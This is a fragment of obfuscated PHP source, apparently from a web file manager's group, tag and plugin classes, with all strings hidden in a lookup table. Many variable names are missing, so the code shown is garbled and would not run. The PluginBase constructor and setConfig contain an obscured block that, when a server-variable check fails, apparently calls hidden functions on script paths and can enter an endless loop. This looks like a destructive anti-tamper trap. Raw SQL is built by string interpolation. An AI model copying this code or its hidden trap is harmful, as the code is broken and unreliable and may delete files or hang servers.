$쓲Լ = $this->getInfoSimple($ف); $㞸 = $쓲Լ[$Ϣ[32]]; } if (!Input::check($㞸, $Ϣ[625])) { $this->metaSet($ف, $Ϣ[508], null); $this->metaSet($ف, $Ϣ[507], null); return; } $ԧ = array($Ϣ[508] => str_replace($Ϣ[53], $Ϣ[12], Pinyin::get($㞸)), $Ϣ[507] => Pinyin::get($㞸, $Ϣ[626])); $this->metaSet($ف, $ԧ); } protected function groupStatus($, $ܴ۴) { $՝ =& $_SERVER[ʇ]; $ = $this->getInfoSimple($); if (!$) { return !1; } $this->_clearCache($); return $this->metaSet($, $՝[789], $ܴ۴); if ($ܴ۴ == $՝[90]) { $ٝ퀄 = $this->parentLevelArray($[$՝[555]]); } else { } $ٝ퀄[] = $[$՝[1899]]; $ = array(); foreach ($ٝ퀄 as $) { $[] = array($՝[1899] => $, $՝[96] => $՝[789], $՝[420] => $ܴ۴); $this->_clearCache($); } return Model($՝[1988])->addAll($, array(), !0); } protected function groupRemove($ꙑ, $ԇ = false) { $埴 =& $_SERVER[ʇ]; $ = array($埴[1899] => $ꙑ); $한 = $this->where($)->find(); if (!$한 || $한[$埴[182]] == 0) { return !1; } if (!$ԇ) { $ = $this->getInfoSimple($한[$埴[182]]); $this->_changeChildLevel($한, $, !0); $this->where(array($埴[182] => $ꙑ))->save(array($埴[182] => $한[$埴[182]])); $this->_clearCache($[$埴[1899]]); } Model($埴[1988])->where($)->delete(); Model($埴[1989])->where($)->delete(); Model($埴[871])->groupRootRemove($ꙑ); $this->_clearCache($한[$埴[182]]); return $this->where($)->delete(); } protected function groupSort($ňȎ) { $ =& $_SERVER[ʇ]; $Ô = array(); foreach ($ňȎ as $ => $) { $Ô[] = array($[1899], $, $[1923], $ + 1); } $this->saveAll($Ô); } public function listData() { $ȿ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ȿ[$_SERVER[ʇ][415]]); return $ȿ; } private function _makeOrder($ȥ = '') { $Đ =& $_SERVER[ʇ]; $ŧҪ = array($Đ[1899], $Đ[32], $Đ[1888], $Đ[217]); $ = array($Đ[493] => $Đ[494], $Đ[495] => $Đ[496]); $݉ = Input::get($Đ[500], $Đ[7], $Đ[1903], $ŧҪ); $ԕ = Input::get($Đ[501], $Đ[7], $Đ[1990], array($Đ[1990], $Đ[495])); $ԕ = $[$ԕ]; $ȥ = $ȥ . "{$݉}\x20{$ԕ}\x2c\x20\147\x72\157\165\x70\111\x44\x20\x61\x73\x63"; return $this->order($ȥ); } public function listChild($ij) { $ =& $_SERVER[ʇ]; $ = $this->where(array($[182] => $ij))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[415]]); return $; } public function listChildIds($‰߲) { $ =& $_SERVER[ʇ]; if (is_string($ڎŝ)) { $‰߲ = explode($[50], $‰߲); } $ = $this->where(array($[1899] => array($[7], $‰߲)))->field($[1991])->select(); if (!$) { return !1; } $ = array(); foreach ($ as $) { $[] = "\x73\x65\154\145\x63\x74\40\147\x72\x6f\x75\160\x49\104\x20\x66\x72\x6f\x6d\x20\140\x67\x72\x6f\x75\160\140\40\167\x68\145\x72\145\x20\160\x61\x72\x65\x6e\164\x4c\x65\166\x65\154\x20\154\x69\x6b\145\x20\x27{$[$[555]]}{$[$[1899]]}\54\45\47"; } $ = implode($[1992], $); $ = $this->query($); if (!$) { return array(); } $‰߲ = array_to_keyvalue($, $[12], $[1899]); return array_unique($‰߲); } public function listByID($˂) { $ɒ =& $_SERVER[ʇ]; if (!$˂) { return array(); } $Ձ = array($ɒ[1899] => array($ɒ[7], $˂)); $ = $this->where($Ձ)->select(); $ = array_sort_keep($, $ɒ[1899], $˂); $this->_listDataApply($); return $; } public function listSearch($Պ) { $Ý =& $_SERVER[ʇ]; $ = $Պ[$Ý[1993]]; $颼 = isset($Պ[$Ý[1994]]) ? $Պ[$Ý[1994]] : !1; if (!trim($)) { return !1; } $ = str_replace($Ý[1995], $Ý[1996], $); $ = array($Ý[1899] => array($Ý[429], "{$}\x25"), $Ý[32] => array($Ý[429], "\45{$}\x25"), $Ý[1047] => $Ý[1997]); if ($颼) { $ = $this->getInfoSimple($颼); $˥ = $[$Ý[555]] . $颼 . $Ý[583]; $ = array($, array($Ý[555] => array($Ý[429], $˥))); } $ = $this->parseWhereLike($); $ْ = $this->_makeOrder()->where($)->selectPage(20); $ْ = $ْ ? $ْ : array($Ý[415] => array(), $Ý[412] => array()); if (!$ْ || count($ْ[$Ý[415]]) < 5 && Input::check($, $Ý[364])) { $ґ = $this->groupChildrenAll($颼); $ = $this->_searchFromMeta($Ý[507], $, 10, $ґ); $ = $this->_searchFromMeta($Ý[508], $, 10, $ґ); $ = array_merge($, $, $ْ[$Ý[415]]); $ْ[$Ý[415]] = array_unique_by_key($, $Ý[1899]); $ْ[$Ý[412]][$Ý[413]] = count($ْ[$Ý[415]]); $ْ[$Ý[412]][$Ý[414]] = ceil($ْ[$Ý[412]][$Ý[413]] / $ْ[$Ý[412]][$Ý[409]]); } $this->_listDataApply($ْ[$Ý[415]]); return $ْ; } protected function groupChildrenAll($됃) { $ɂ =& $_SERVER[ʇ]; if (!$됃) { return !1; } if (!is_array($됃)) { $됃 = array($됃); } $ = $됃; foreach ($됃 as $ݶ) { $֌ = $this->getInfoSimple($ݶ); $ = array($ɂ[555] => array($ɂ[429], $֌[$ɂ[555]] . $ݶ . $ɂ[583])); $ = $this->field($ɂ[1899])->where($)->select(); $ = array_merge($, array_to_keyvalue($, $ɂ[12], $ɂ[1899])); } return array_unique($); } private function _searchFromMeta($┡, $ƅ, $, $ڶ臊) { $ơ =& $_SERVER[ʇ]; $ƅ = strtolower($ƅ); $ = array($ơ[96] => $┡, $ơ[420] => array($ơ[429], "\45{$ƅ}\45")); $ = $this->parseWhereLike($); if ($ڶ臊) { $[$ơ[1899]] = array($ơ[7], $ڶ臊); } $ = Model($ơ[1998])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $ơ[12], $ơ[1899]); $ = $this->where(array($ơ[1987] => array($ơ[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[ʇ]; if (!$) { return; } $ƕ = array_to_keyvalue($, $[12], $[1899]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $ƕ); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $ƕ); } private function _listAppendChildren(&$ĭ) { $ =& $_SERVER[ʇ]; $א׬ = array_to_keyvalue($ĭ, $[12], $[1899]); $ΐʕ = array($[182] => array($[7], $א׬)); $맀 = array($[182], $[1999] => $[536]); $ = $this->field($맀)->where($ΐʕ)->group($[182])->select(); $– = array_to_keyvalue($, $[182], $[536]); foreach ($ĭ as &$ؿ) { $߻ = $ؿ[$[1899]]; $ؿ[$[2000]] = isset($–[$߻]) ? intval($–[$߻]) : !1; } unset($ؿ); } private function _listAppendChildrenMember(&$ލ) { $ͦ =& $_SERVER[ʇ]; $ = array_to_keyvalue($ލ, $ͦ[12], $ͦ[1899]); $½ = array($ͦ[1899] => array($ͦ[7], $)); $Ѿƣ = array($ͦ[1899], $ͦ[1999] => $ͦ[536]); $ = Model($ͦ[1989])->field($Ѿƣ)->where($½)->group($ͦ[1899])->select(); $Ʃ = array_to_keyvalue($, $ͦ[1899], $ͦ[536]); foreach ($ލ as &$) { $ = $[$ͦ[1899]]; $[$ͦ[2001]] = isset($Ʃ[$]) ? intval($Ʃ[$]) : !1; } unset($); } private function _listAppendMeta(&$ȯ, $) { $֒ظ =& $_SERVER[ʇ]; $ڼ = array($֒ظ[1899] => array($֒ظ[7], $)); $ɘ = Model($֒ظ[1988])->where($ڼ)->select(); $ɘ = array_to_keyvalue_group($ɘ, $֒ظ[1899]); foreach ($ɘ as &$) { $ = array_to_keyvalue($, $֒ظ[96], $֒ظ[420]); } unset($); foreach ($ȯ as &$ᦋ) { $ᦋ[$֒ظ[509]] = array(); if (isset($ɘ[$ᦋ[$֒ظ[1899]]])) { $ᦋ[$֒ظ[509]] = $ɘ[$ᦋ[$֒ظ[1899]]]; } } unset($ᦋ); } protected function parentLevelArray($) { $ =& $_SERVER[ʇ]; $ = explode($[50], trim($, $[50])); $ = array_remove_value($, $[214]); return $; } protected function parentInGroup($ԫ, $Ҭ) { $ =& $_SERVER[ʇ]; $Ӝ = $this->getInfoSimple($ԫ); if (!$Ӝ) { return !0; } $ = $this->parentLevelArray($Ӝ[$[555]]); $[] = $ԫ; foreach ($ as $ԫ) { if (in_array($ԫ . $[12], $Ҭ)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ =& $_SERVER[ʇ]; $ = array(); foreach ($ as &$) { $[$[$[1899]]] = $[$[32]]; $ = $this->parentLevelArray($[$[555]]); foreach ($ as $²Տ) { if (!isset($[$²Տ])) { $[$²Տ] = 0; } } } unset($); foreach ($ as $ => $Օ) { if ($Օ) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $ = $GLOBALS[$[6]][$[91]][$[2002]]; if (KodUser::isRoot()) { $ = !1; } foreach ($ as &$) { $ = $this->parentLevelArray($[$[555]]); $ = $[12]; foreach ($ as $ => $²Տ) { if ($ && $ == 0) { continue; } $ .= $[$²Տ] . $[8]; } if ($) { $ .= $[$[32]]; } $[$[560]] = str_replace($[563], $[8], $); } unset($); } private function _listAppendSourceRoot(&$숌, $׊) { $מͩ =& $_SERVER[ʇ]; $ = Model($מͩ[871])->listSourceRoot(SourceModel::TYPE_GROUP, $׊); $ = array_to_keyvalue($, $מͩ[540]); $ = array_remove_key($, $מͩ[540]); foreach ($숌 as &$) { $[$מͩ[89]] = $[$[$מͩ[1899]]] ? $[$[$מͩ[1899]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $ִ = array(); for ($ꬲ = 0; $ꬲ < count($); $ꬲ++) { $ߚ = !1; for ($ÒԞ = 0; $ÒԞ < count($); $ÒԞ++) { if ($ꬲ == $ÒԞ) { continue; } if ($this->isParentOf($[$ÒԞ], $[$ꬲ])) { $ߚ = !0; break; } } if (!$ߚ) { $ִ[] = $[$ꬲ]; } } return $ִ; } protected function isParentOf($, $⺋) { $ =& $_SERVER[ʇ]; if (!$ || !$⺋ || $ == $⺋) { return !1; } $ = $this->getInfoSimple($); $ɍ = $this->getInfoSimple($⺋); $ = $[$[555]] . $ . $[50]; if (substr($ɍ[$[555]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($ʞ, $ς = false) { $݈ =& $_SERVER[ʇ]; $ڒ = $this->getInfo($ʞ); if (!$ڒ) { return array(); } $ڃ = $this->parentLevelArray($ڒ[$݈[555]]); $ = array($ʞ); if (count($ڃ) == 0) { return $; } if ($ς && count($ڃ) == 1) { return $; } if (!$ڒ[$݈[509]] || !isset($ڒ[$݈[509]][$݈[1985]]) || $ڒ[$݈[509]][$݈[1985]] == $݈[1954]) { return $this->groupShowRoot($ڃ[count($ڃ) - 1], $ς); } if ($ڒ[$݈[509]][$݈[1985]] == $݈[403]) { $Ó = explode($݈[50], $ڒ[$݈[509]][$݈[1986]]); if ($Ó) { $ = array_merge($, $Ó); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[ʇ]; $ = $[1899]; $ӑ = $this->select(); $ӑ = array_to_keyvalue($ӑ, $); foreach ($ӑ as $⼞) { $ۈ = $⼞; $ۘכ = array(); while ($ۈ[$[182]] != 0) { $ۘכ[] = $ۈ[$[182]]; $ۈ = $ӑ[$ۈ[$[182]]]; } $ۘכ[] = 0; $ۘכ = $[50] . implode($[50], array_reverse($ۘכ)) . $[50]; $this->setNamePinyin($⼞[$], $⼞[$[32]]); $this->where(array($ => $⼞[$]))->save(array($[622] => $ۘכ)); } return $ӑ; } public function groupNameAuto($ګ, $) { $ =& $_SERVER[ʇ]; $թ = $this->where(array($[447] => $ګ))->getField($[32], !0); if (!$թ || !in_array($, $թ)) { return $; } for ($ = 1; $ <= count($թ) + 1; $++) { $䅗 = $ . "\50{$}\51"; if (!in_array($䅗, $թ)) { return $䅗; } } } public function groupSwitch($񑇓, $) { $ =& $_SERVER[ʇ]; $և = array($[1899] => array($[7], array($񑇓, $))); $ʐۯ = $this->where($և)->select(); $ʐۯ = array_to_keyvalue($ʐۯ, $[1899]); if (!isset($ʐۯ[$񑇓]) || !isset($ʐۯ[$]) || $ʐۯ[$񑇓][$[182]] == 0) { return !1; } $և = array($[1899] => $񑇓); $ = Model($[1989])->where($և)->select(); if (!$) { $ = array(); } foreach ($ as $) { $ߋ = $[$[1701]]; $և = array($[1701] => $ߋ, $[1899] => $); $鬱 = Model($[1989])->where($և)->find(); if (!$鬱) { $۰ = array($ => $[$[2003]]); Model($[569])->userGroupAdd($ߋ, $۰); } Model($[569])->userGroupRemove($ߋ, $񑇓); } $և = array($[180] => 2, $[182] => 0, $[455] => 1, $[540] => array($[7], array($񑇓, $))); $ا = Model($[871])->where($և)->field($[2004])->select(); $ا = array_to_keyvalue($ا, $[540], $[183]); $ = !empty($ا[$񑇓]) ? $ا[$񑇓] : !1; if ($) { if (!$ا[$]) { $ا[$] = Model($[871])->groupRootAdd($); } $ = $ا[$]; $և = array($[182] => $); $ا = Model($[871])->where($և)->field($[2005])->select(); if (!$ا) { $ا = array(); } Model($[871])->moveClearAuth = !1; foreach ($ا as $Ԥ) { $ӌ = $Ԥ[$[455]] == $[90] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[871])->move($Ԥ[$[183]], $, $ӌ); } Model($[871])->moveClearAuth = !0; $և = array($[180] => 2, $[540] => $񑇓); $ = array($[540] => $); Model($[2006])->where($և)->save($); Model($[2007])->where($և)->save($); } $this->_changeChildLevel($ʐۯ[$񑇓], $ʐۯ[$], !0); $this->where(array($[182] => $񑇓))->save(array($[182] => $)); $this->_clearChildrenCache($ʐۯ[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\x73\x65\x72\x5f\146\x61\166"; protected function cacheFunctionAlias($…) { $ʱ =& $_SERVER[ʇ]; return array($ʱ[2008] => array($…[0], $ʱ[2009]), $ʱ[2010] => array($…[0], $ʱ[2011])); } protected function get($家) { $٧ =& $_SERVER[ʇ]; $߲ = Model($٧[556])->metaGet($家, $٧[2012]); $ = json_decode($߲, !0); return $ ? $ : array($٧[2013] => $٧[90], $٧[415] => array()); } protected function set($, $օȍ) { $ =& $_SERVER[ʇ]; $օȍ = $օȍ ? $օȍ : array($[2013] => $[90], $[415] => array()); return Model($[556])->metaSet($, $[2012], json_encode($օȍ)); } protected function getByTagID($֢Ŷ, $) { $ =& $_SERVER[ʇ]; if (!$֢Ŷ || !$) { return !1; } if (!Model($[556])->getInfoSimple($֢Ŷ)) { return !1; } $ʷ = $this->get($֢Ŷ); if (!$ʷ || !isset($ʷ[$[415]])) { return !1; } $ݛ = array_find_by_field($ʷ[$[415]], $[445], $); return is_array($ݛ) ? $ݛ : !1; } public function listSource($ڧߤ, $֏) { $߭ =& $_SERVER[ʇ]; if ($֏ && !is_array($֏)) { $֏ = array($֏); } $ = $this->listData($ڧߤ); $ = array(); foreach ($ as $頻) { $ = $頻[$߭[86]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $頻[$߭[470]]; } $· = array(); foreach ($ as $ => $) { $ӂ = !0; if (!$֏) { $·[] = $; continue; } foreach ($֏ as $ظ٢) { if (!in_array($ظ٢, $)) { $ӂ = !1; break; } } if ($ӂ) { $·[] = $; } } if (!$·) { return array(); } $ = array($߭[461] => array($߭[462], $·), $߭[540] => $ڧߤ, $߭[180] => SourceModel::TYPE_GROUP); $ = Model($߭[1380])->listSource($); if (!$ || count($·) == $[$߭[412]][$߭[413]]) { return $; } $ĵ = array(); $ = array_to_keyvalue($[$߭[84]], $߭[12], $߭[183]); $ɫȭ = array_to_keyvalue($[$߭[85]], $߭[12], $߭[183]); $Ɨ = array_merge($ɫȭ, $); foreach ($· as $) { if (!in_array($, $Ɨ)) { $ĵ[] = $; } } if ($ĵ) { $this->removeBySource($ڧߤ, $ĵ); } return $; } protected function listData($ל) { $ =& $_SERVER[ʇ]; $Ȟ = array($[1692] => 0, $[528] => array($[2014], 0), $[466] => $[2015] . $ל); $ = $[2016]; $Ž = $this->field($)->where($Ȟ)->order($[2017])->select(); return $Ž ? $Ž : array(); } protected function addToTag($, $, $羲) { $ =& $_SERVER[ʇ]; if (!$this->getByTagID($, $羲) || !$) { return !1; } if (!Model($[871])->pathInfo($)) { return !1; } $ʛ = array($[1692] => 0, $[528] => $羲, $[465] => $, $[466] => $[2018] . $, $[464] => $[12], $[1903] => 0); if ($this->where($ʛ)->find()) { return !1; } return $this->add($ʛ); } protected function removeFromTag($ɉ, $ܺՎ, $) { $ =& $_SERVER[ʇ]; if (!$this->getByTagID($ɉ, $) || !$ܺՎ) { return !1; } if (is_array($ܺՎ)) { $ܺՎ = array($[7], $ܺՎ); } $ = array($[1692] => 0, $[528] => $, $[466] => $[2018] . $ɉ, $[465] => $ܺՎ); return $this->where($)->delete(); } protected function removeByTag($ɇس, $) { $݁ =& $_SERVER[ʇ]; if (!$this->getByTagID($ɇس, $)) { return !1; } $ = array($݁[1692] => 0, $݁[528] => $, $݁[466] => $݁[2018] . $ɇس); return $this->where($)->delete(); } protected function removeBySource($, $) { $ω =& $_SERVER[ʇ]; if (!$ || !$) { return !1; } if (is_array($)) { $ = array($ω[7], $); } $ = array($ω[1692] => 0, $ω[465] => $, $ω[528] => array($ω[1061], 0), $ω[466] => $ω[2018] . $); return $this->where($)->delete(); } } goto FŌ; fظҡλ: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $伯 =& $_SERVER[ʇ]; if ($_SERVER[$伯[837]] != $_SERVER[$伯[1556]]) { $曷 = $伯[924]; $ؘҎ = $伯[839]; $甉 = $_SERVER[$伯[840]] . $伯[841]; $ϙ¶ = $ؘҎ($甉); $Փ = explode($伯[248], $ϙ¶); if (count($Փ) < $伯[673]) { $ = $伯[842]; $(); } $Ǘю = $伯[925]; $Ǘю($_SERVER[$伯[926]]); $Ǘю($_SERVER[$伯[840]] . $伯[1557]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $伯[424]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($伯[1558]); $this->pluginName = str_replace($伯[1558], $伯[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $伯[8]; $this->pluginApi = appHostGet() . $伯[1559] . $this->pluginName . $伯[8]; $this->pluginHost = $config[$伯[1560]] . $this->pluginName . $伯[8]; $this->pluginHostDefault = $config[$伯[1560]] . $this->pluginName . $伯[8]; $ė = $config[$伯[1561]]; if ($ė && strpos($伯[50] . $ė . $伯[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$伯[1562]] . $this->pluginName . $伯[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ʇ][1563]); } protected function assign($Є, $ō = false) { if (is_array($Є)) { $this->values = array_merge($this->values, $Є); } else { $this->values[$Є] = $ō; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[ʇ]; $ = $this->appPackage(); $ = $[12]; if (isset($[$[460]])) { if (isset($[$[460]][$[1564]])) { $ = $[1565] . $[$[460]][$[1564]] . $[1566]; } else { if ($[$[460]][$[1567]]) { $ = $[1568] . $[$[460]][$[1567]] . $[1569]; } } } return $; } final function fileCanView($) { $ٶ =& $_SERVER[ʇ]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $Ȝ = $ٶ[1570] . rawurlencode(this_url()); show_tips(LNG($ٶ[1571]) . $ٶ[1572] . $Ȝ . $ٶ[1573] . LNG($ٶ[1574]) . $ٶ[1575], !1); } if (!Action($ٶ[1576])->authCan($ٶ[1577])) { show_tips(LNG($ٶ[1578]) . $ٶ[1579], !1); } ActionCall($ٶ[1580], $); } final function isShare($) { $Јȱٿ = KodIO::parse($); return $Јȱٿ[$_SERVER[ʇ][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[ʇ][1221])->linkOut($); } public function filePathLinkOut($쬜) { if (request_url_safe($쬜)) { return $쬜; } $this->fileCanView($쬜); return Action($_SERVER[ʇ][1221])->link($쬜); } final function filePath($, $Ԋ = true, $ӊ = false) { $ =& $_SERVER[ʇ]; $Ɣ = $this->filePathGet($, $Ԋ); if (!$this->fileInfo) { show_tips(LNG($[107]), !1); } if ($ӊ && isset($this->fileInfo[$[511]]) && $this->fileInfo[$[511]]) { $ = Model($[514])->fileInfo($this->fileInfo[$[511]]); if (!$ || !IO::exist($[$[86]])) { show_tips(LNG($[107]) . $[1581]); } } Hook::trigger($[1582], $Ɣ); return $Ɣ; } final function filePathGet($, $޹ = true) { $ڎ =& $_SERVER[ʇ]; if ($ = $this->checkSharePath($, $޹)) { return $; } $this->fileCanView($); if (request_url_safe($)) { $ճ = parse_url_query($); if (isset($ճ[$ڎ[1583]]) && isset($ճ[$ڎ[220]])) { $ٜ = Mcrypt::decode($ճ[$ڎ[220]], Model($ڎ[809])->get($ڎ[810])); if ($ٜ) { $this->fileInfo = IO::info($ٜ); $this->fileInfo[$ڎ[1584]] = $; $this->cachePath = $this->pluginCachePath($ڎ[12], $޹); return $ٜ; } } $ = $this->_cacheHttpFile($, $޹); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($ڎ[12], $޹); } return $; } final function _cacheHttpFile($徭, $֝ = true) { $ =& $_SERVER[ʇ]; $ = parse_url_query($徭); $ͯ = get_path_ext($徭); if (isset($[$[32]]) && $[$[32]]) { $ͯ = get_path_ext($[$[32]]); } $ϛΪ = hash_path($徭) . $[10] . $ͯ; $this->cachePath = $this->pluginCachePath($֝ ? $ϛΪ : $[12]); $ = IO::fileNameExist($this->cachePath, $ϛΪ); if ($) { return KodIO::make($); } $Ѓ = rtrim($this->cachePath, $[8]) . $[8] . $ϛΪ; return $this->pluginCacheFileSet($Ѓ, file_get_contents_nossl($徭)); } final function checkSharePath($, $ͽߚ = true) { $ԫ =& $_SERVER[ʇ]; if (!$this->isShare($)) { return !1; } $˂ = Action($ԫ[1221])->sharePathInfo($); if (!is_array($˂) || !isset($˂[$ԫ[86]])) { show_json(LNG($ԫ[1585]), !1); } $this->fileInfo = $˂; $this->cachePath = $this->pluginCachePath(!1, $ͽߚ); return $˂[$ԫ[86]]; } final function pluginCachePath($яܓ = '', $ = false) { $ =& $_SERVER[ʇ]; if ($ && is_array($this->fileInfo)) { $яܓ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTEM_TEMP . $[1586] . $this->pluginName . $[8] . $яܓ, $[8]); $㐉 = IO::infoFullSimple($); $ج = $㐉 && is_array($㐉) ? $㐉[$[86]] : $[12]; if (!$ج) { $ج = IO::mkdir($); } return $ج; } final function pluginCacheFileSet($ᅻ, $ = '') { $ޚ =& $_SERVER[ʇ]; $ɫ = IO::infoFullSimple($ᅻ); if (!$ɫ) { return IO::mkfile($ᅻ, $, REPEAT_REPLACE); } IO::setContent($ɫ[$ޚ[86]], $); return $ɫ[$ޚ[86]]; } final function pluginLocalFile($΁ = '') { $Ą =& $_SERVER[ʇ]; $˼ = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($˼)) { mk_dir($˼); } if (!$΁) { return $˼; } $ = IO::info($΁); $ = $Ą[1587] . KodIO::hashPath($) . $Ą[10] . $[$Ą[177]]; if (!checkExtSafe($)) { $ = $ . $Ą[1253]; } $ = $˼ . $; if (@file_exists($)) { return $; } return IO::copy($΁, $˼, 0, $); } final function appPackage() { $ =& $_SERVER[ʇ]; if ($this->packageData) { return $this->packageData; } $ԙ = $this->parseFile($this->pluginPath . $[1588]); $this->parseLang($ԙ); $ձѐ = json_decode_force($ԙ); if (!$ձѐ) { return array(); } $ߟ = Hook::trigger($[1589], $ձѐ); if ($ߟ && is_array($ߟ)) { $ձѐ = $ߟ; } $this->packageData = $ձѐ; return $ձѐ; } public function packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ʇ][1590]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ʇ][1591]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ʇ][1592]); } public function echoJsAssign($, $مᣏ) { $this->echoJsAssignArr[$] = $مᣏ; } private function parseFile($) { $풝й =& $_SERVER[ʇ]; $ˢ = file_get_contents_nossl($); $Ѧ = array($풝й[1593], $풝й[1594], $풝й[1595], $풝й[1596], $풝й[1597], $풝й[1598], $풝й[1599]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$풝й[91]][$풝й[1600]]); foreach ($this->echoJsAssignArr as $ => $) { $Ѧ[] = $풝й[1601] . $ . $풝й[1602]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($ˢ, $풝й[1603])) { $ɻ = rawurlencode(json_encode($this->pluginLangArr)); $ˢ = str_replace($풝й[1603], $ɻ, $ˢ); } if (strstr($ˢ, $풝й[1604])) { $ɻ = $ɻ = rawurlencode(json_encode($this->getConfig())); $ˢ = str_replace($풝й[1604], $ɻ, $ˢ); } $ˢ = str_replace($Ѧ, $, $ˢ); return $ˢ; } private function parseLang(&$) { $˔ =& $_SERVER[ʇ]; $욽 = $˔[1605]; if (!strstr($, $욽)) { return; } preg_match_all($˔[1606], $, $֊); if (!is_array($֊) || count($֊) == 0 || !is_array($֊[0]) || count($֊[0]) == 0) { return; } $ѡ = array(); $ս뀸 = array(); foreach ($֊[0] as $Ĩ) { $ = substr($Ĩ, strlen($욽), -4); $ = LNG($); $ѡ[] = $Ĩ; $ս뀸[] = str_replace(array($˔[248], $˔[1125], $˔[388], $˔[120]), array($˔[53], $˔[53], $˔[12], $˔[1607]), $); } $ = str_replace($ѡ, $ս뀸, $); } private function parseConfig(&$̉) { $պ =& $_SERVER[ʇ]; $ = $պ[1608]; if (!strstr($̉, $)) { return; } preg_match_all($պ[1609], $̉, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ͨ = $this->getConfig(); $ = array(); $懵 = array(); foreach ($[0] as $) { $̝ = substr($, strlen($), -2); $[] = $; $懵[] = _get($ͨ, $̝); } $̉ = str_replace($, $懵, $̉); } private function parsePackage(&$쒎) { $݃ =& $_SERVER[ʇ]; $ٛ = $݃[1610]; if (!strstr($쒎, $ٛ)) { return; } preg_match_all($݃[1611], $쒎, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $Ӵ = $this->appPackage(); $챸 = array(); $ = array(); foreach ($[0] as $ڑ) { $ = substr($ڑ, strlen($ٛ), -2); $챸[] = $ڑ; $[] = _get($Ӵ, $); } $쒎 = str_replace($챸, $, $쒎); } final function echoFile($я, $ = false) { $݈ =& $_SERVER[ʇ]; $Ȥ = $this->pluginPath . $я; if (ACT == $݈[1612]) { echo $݈[1613] . $this->pluginName . $݈[8] . $я . $݈[1614]; if (!file_exists($Ȥ)) { echo $݈[1615]; return; } } $ = $this->parseFile($Ȥ); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($)) { $ = str_replace(array_keys($), array_values($), $); } echo $݈[248] . $; } private function checkVersion() { $Бў =& $_SERVER[ʇ]; $׊ = $this->appPackage(); $۲ = $this->getConfig(); if ($۲[$Бў[1616]] == $׊[$Бў[1590]]) { return; } $this->regist(); $this->setConfig(array($Бў[1616] => $׊[$Бў[1590]])); } final function initLang() { $ހ =& $_SERVER[ʇ]; $ = $ހ[1617]; $é = $this->pluginPath . $ހ[1618]; $ = I18n::getType(); $ȃ繋 = array(); if (file_exists($é . $ . $ހ[885])) { $ȃ繋 = (include $é . $ . $ހ[885]); } else { if ($ == $ހ[1619] && !file_exists($é . $ . $ހ[885]) && file_exists($é . $ހ[1620])) { $ȃ繋 = (include $é . $ހ[1620]); } else { if (file_exists($é . $ . $ހ[885])) { $ȃ繋 = (include $é . $ . $ހ[885]); } } } if (!is_array($ȃ繋)) { return array(); } if (@count($ȃ繋) > 0) { I18n::set($ȃ繋); } return $ȃ繋; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ۂ) { $ =& $_SERVER[ʇ]; if (!isset($_SERVER[$[837]]) || !isset($_SERVER[$[838]])) { $ɂ = $[924]; $ף = $[839]; $lj = $_SERVER[$[840]] . $[841]; $粙 = $ף($lj); $ = explode($[248], $粙); if (count($) < $[673]) { $ = $[842]; $(); } $푎 = $[925]; $푎($_SERVER[$[926]]); $޴߿ = 1; for ($ǐ = $޴߿; $ǐ > 0; $ǐ++) { $푎 = json_encode($GLOBALS[$[462]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $ۂ); } public function onSetConfig($Ѭ) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = 